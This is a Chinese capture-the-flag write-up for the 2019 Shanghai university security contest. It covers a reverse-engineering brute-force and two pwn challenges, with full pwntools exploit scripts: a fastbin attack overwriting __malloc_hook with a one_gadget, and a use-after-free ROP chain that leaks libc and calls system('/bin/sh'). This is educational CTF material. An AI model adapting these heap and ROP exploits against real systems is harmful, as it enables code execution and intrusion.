2019上海市大学生网络安全大赛 部分re 部分pwn

看萝卜师傅的博客 感觉题目很有趣 然后决定刷一波

萝卜师傅博客链接

http://radishes.top/2019/11/03/2019-11-03-2019shanghai/

RE

函数逻辑非常简单

一开始 check1 把我迷惑了 让我认为 限制字符只有 a-f

后来输入过程中 发现了 不止是 a-f 。。。

然后 发现 输入字符0也可以,,原来是 无符号,,, 智障了

然后这里 table 和输入无关 动态调试一波就可以

我们需要 暴力破解最后的hex input 然后 异或 table 那几个定值

就可以拿到flag

暴力跑hex_input

#include <iostream>

#include <algorithm>

#include <stdio.h>

#include <math.h>

#include <string.h>

#include <queue>

#include <vector>

#include <algorithm>

#include <map>

using namespace std;


bool sub_401950(char *a1)

{

bool result; // al

char *v1;

int _12Ah = 0x12a;

int _39Fh = 0x39f;

int _68h = 0x68;

int _209h = 0x209;

int _269h = 0x269;

int _1A1h = 0x1a1;

int _8Ah = 0x8a;

int _2C8h = 0x2c8;

v1 = a1;

while (2)

{

switch ((*v1-48))

{

case 0:


_12Ah &= _39Fh;

_269h *= _12Ah;

goto LABEL_4;

case 1:

if (!_269h)

goto LABEL_6;

_12Ah /= _269h;

_1A1h += _68h;

goto LABEL_4;

case 2:

_209h ^= _68h;

_2C8h += _8Ah;

goto LABEL_4;

case 3:

_2C8h -= _209h;

_209h &= _1A1h;

goto LABEL_4;

case 4:

_68h *= _8Ah;

_269h -= _39Fh;

goto LABEL_4;

case 5:

_8Ah ^= _269h;

_39Fh -= _2C8h;

goto LABEL_4;

case 6:

if (!_2C8h)

goto LABEL_6;

_68h |= _1A1h / _2C8h;

_1A1h /= _2C8h;

goto LABEL_4;

case 7:

_39Fh += _12Ah;

_68h |= _1A1h;

goto LABEL_4;

case 8:

_8Ah *= _269h;

_209h -= _2C8h;

goto LABEL_4;

case 9:

_12Ah += _68h;

_269h ^= _209h;

LABEL_4:

if (++v1 != a1 + 8) // 循环完

continue;

result = (_39Fh == 231)

+ (_68h == 0x3878)

+ (_209h == 0x3A71)

+ (_269h == 0xFFFFCC30)

+ (_12Ah == 0x10)

+ (_1A1h == 0x68)

+ (_8Ah == 0xFFFFFC49) == 7;

if (_2C8h != 0xFFFFFF11)

goto LABEL_6;

break;

default:

LABEL_6 :

result = 0;

break;

}

return result;

}

}


int main()

{


char s[0x1000];

long long int i = 0;

for (i = 0; i < 1000000000;i++)

{

sprintf(s, "%08ld", i);

//printf("%d\n", i);

if (sub_401950(s))

{

printf("%s\n", s);

system("pause");

}

}

return 0;

}

然后 跑出flag 即可

l="61495072"

sums=0

ls=[0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]

for i in l:

print(hex(int(i)^ls[sums])[2:],end="")

sums+=1

拿到flag

PWN

boring_heap

其实这个题目漏洞点

abs 的漏洞  abs 如果溢出 是有可能返回负数的 而 在C语言里面 负数%正数 是有可能返回负数的

根据这个漏洞 我们可以 edit 后面的东西  然后拿shell  详情可以看demo

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char * argv[])
{   
    int x=-2147483648;
    printf("abs:%d\n",abs(x));
    int k=abs(x)%0x30;
    printf("k:%d\n",k);   
    return 0;
}

简单的来说 就是  off-by-one  然后 堆重叠  然后fastbin 攻击  申请堆到 main_arena 的地方

那么 就可以修改top_chunks的地方   然后修改到 malloc_hook 附近  然后  就可以修改malloc_hook 变成one_gadget就ok

EXP:

from pwn import *
import sys
context.log_level='debug'


io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

magic=-2147483648
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def add(choice,content):
	io.recvuntil("5.Exit")
	io.sendline("1")
	io.recvuntil("3.Large")
	io.sendline(str(choice))
	sleep(0.01)
	io.recvuntil("Input Content:")
	io.sendline(content)

def edit(index,size,content):
	io.recvuntil("5.Exit")
	io.sendline("2")
	io.recvuntil("Which one do you want to update?")
	io.sendline(str(index))
	io.recvuntil("Where you want to update?")
	io.sendline(str(size))
	io.recvuntil("Input Content:")
	io.sendline(content)

def dele(index):
	io.recvuntil("5.Exit")
	io.sendline("3")
	io.recvuntil("Which one do you want to delete?")
	io.sendline(str(index))

def show(index):
	io.recvuntil("5.Exit")
	io.sendline("4")
	io.recvuntil("Which one do you want to view?")
	io.sendline(str(index))

def debug(process):
	gdb.attach(process)
	pause()

if __name__ =="__main__":
	add(2,'a')#0
	add(2,'b')#1
	add(2,'c')#2
	io.recvuntil('5.Exit')
	io.sendline('1')
	io.recvuntil("3.Large")
	payload=p64(0)+p64(0x31)+p64(0)*3+p64(0x21)
	io.sendline(str(2))
	io.recvuntil('Input Content:')
	io.send(payload)
	add(2,'e')#4
	payload='\x00'*0x18+p64(0x91)
	edit(1,magic,payload)
	#debug(io)
	dele(1)
	#debug(io)
	add(2,'a')
	#debug(io)
	show(2)
	io.recv()
	data=io.recv(6)
	io.recvuntil("Exit\n")
	#data=io.recv(6)
	#print data
	#io.recv()
	libc_base = u64(data+"\x00\x00")-0x3c4b78
	log.success("libc_base "+hex(libc_base))
	#io.sendline("1")
	#debug(io)
	malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
	one_gadget_addr=one_gadget[3]+libc_base

#***********************************************
#***********************************************
#***********************************************
#***********************************************
#***********************************************
#***********************************************
	io.sendline("1")
	io.recvuntil("3.Large")
	io.sendline("2")
	io.recvuntil("Input Content:")
	io.sendline('g'*0x10)#2
	#debug(io)
	#add(2,'f'*0x10)
	add(2,'g'*0x10)
	add(1,'h'*0x10)
	add(2,'p'*0x10)
	#debug(io)  2 6 0x50 
	dele(8)
	dele(6)
	
	#debug(io)
	edit(2,0,p64(libc_base+0x3c4b30+5-8))
	add(3,'s'*0x10)
	#debug(io)
	payload="\x11\x11\x11"+p64(libc_base+0x3c4b50)+p64(0)*2+p64(0x51)+p64(0)
	add(3,payload)

	io.recvuntil('5.Exit')
	io.sendline('1')
	io.recvuntil("3.Large")
	io.sendline("3")
	io.recvuntil('Input Content:')
	payload=p64(0)*3+p64(malloc_hook_addr-0x10)+p64(malloc_hook_addr-0x10)+p64(0x3c4b78+libc_base)+p64(0x3c4b78+libc_base)+p64(0x3c4b78+libc_base)
	io.send(payload)
	add(3,p64(one_gadget_addr))
	#debug(io)
	io.recvuntil('5.Exit')
	io.sendline('1')
	io.recvuntil("3.Large")
	io.sendline("2")



	io.interactive()
	io.close()



'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL


'''

login  

这个题目在dele 的时候没有清空用户指针    有一个UAF 并且还有一个 用户的函数指针

一开始的想法是 泄露基址 然后覆盖 函数指针就可以 getshell 了。。。。

然后 就一直再想堆怎么泄露基址,,,, 这个题目限制只申请 5个堆  然后我在泄露的地方就感觉很无力,,

后来想了想  可以获取程序的eip  那么 直接 运行rop 就可以 泄露基址+ getshell 

不得不说 这个题目真的骚,,

from pwn import *
import sys
context.log_level='debug'


io = process('./login')
elf=ELF("./login")
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]

def login(index,size,password):
	io.recvuntil("5.Exit")
	io.sendline("1")
	io.recvuntil("Input the user id:")
	io.sendline(str(index))
	io.recvuntil("Input the passwords length:")
	io.sendline(str(size))
	io.recvuntil("Input the password:")
	io.send(password)


def register(index,size,password):
	io.recvuntil("5.Exit")
	io.sendline("2")
	io.recvuntil("Input the user id:")
	io.sendline(str(index))
	io.recvuntil("Input the password length:")
	io.sendline(str(size))
	io.recvuntil("Input password:")
	io.sendline(password)

def dele(index):
	io.recvuntil("5.Exit")
	io.sendline("3")
	io.recvuntil("Input the user id:")
	io.sendline(str(index))

def edit(index,password):
	io.recvuntil("5.Exit")
	io.sendline("4")
	io.recvuntil("Input the user id:")
	io.sendline(str(index))
	io.recvuntil("Input new pass:")
	io.sendline(password)


def debug(process):
	gdb.attach(process)
	pause()

if __name__ =="__main__":
	puts_got = elf.got['puts']
	puts_plt = elf.plt['puts']
	stdin_addr=0x400468
	pop_r12_ret=0x400F2C
	ret_addr = 0x400be9
	pop_rdi=0x400f33
	register(0,0x88,'a')
	register(1,0x80,'b')
	register(2,0x80,'c')
	dele(0)
	dele(1)
	payload=p64(stdin_addr)+p64(pop_r12_ret)
	register(3,0x18,payload)
	payload="stdin".ljust(8,'\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_addr)
	login(1,len(payload),payload)
	io.recvuntil("!\n")
	libc_base = u64(io.recv(6)+"\x00\x00")-libc.sym['puts']
	log.success("libc_base "+hex(libc_base))
	
	system_addr = libc_base+libc.symbols['system']
	bin_sh_addr = libc_base+libc.search("/bin/sh").next()
	payload="stdin".ljust(8,'\x00')+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(ret_addr)
	login(1,len(payload),payload)



	#debug(io)
	io.interactive()
	io.close()

就看了这三道题  感觉很挺有意思的,

发布了312 篇原创文章 · 获赞 44 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/102943907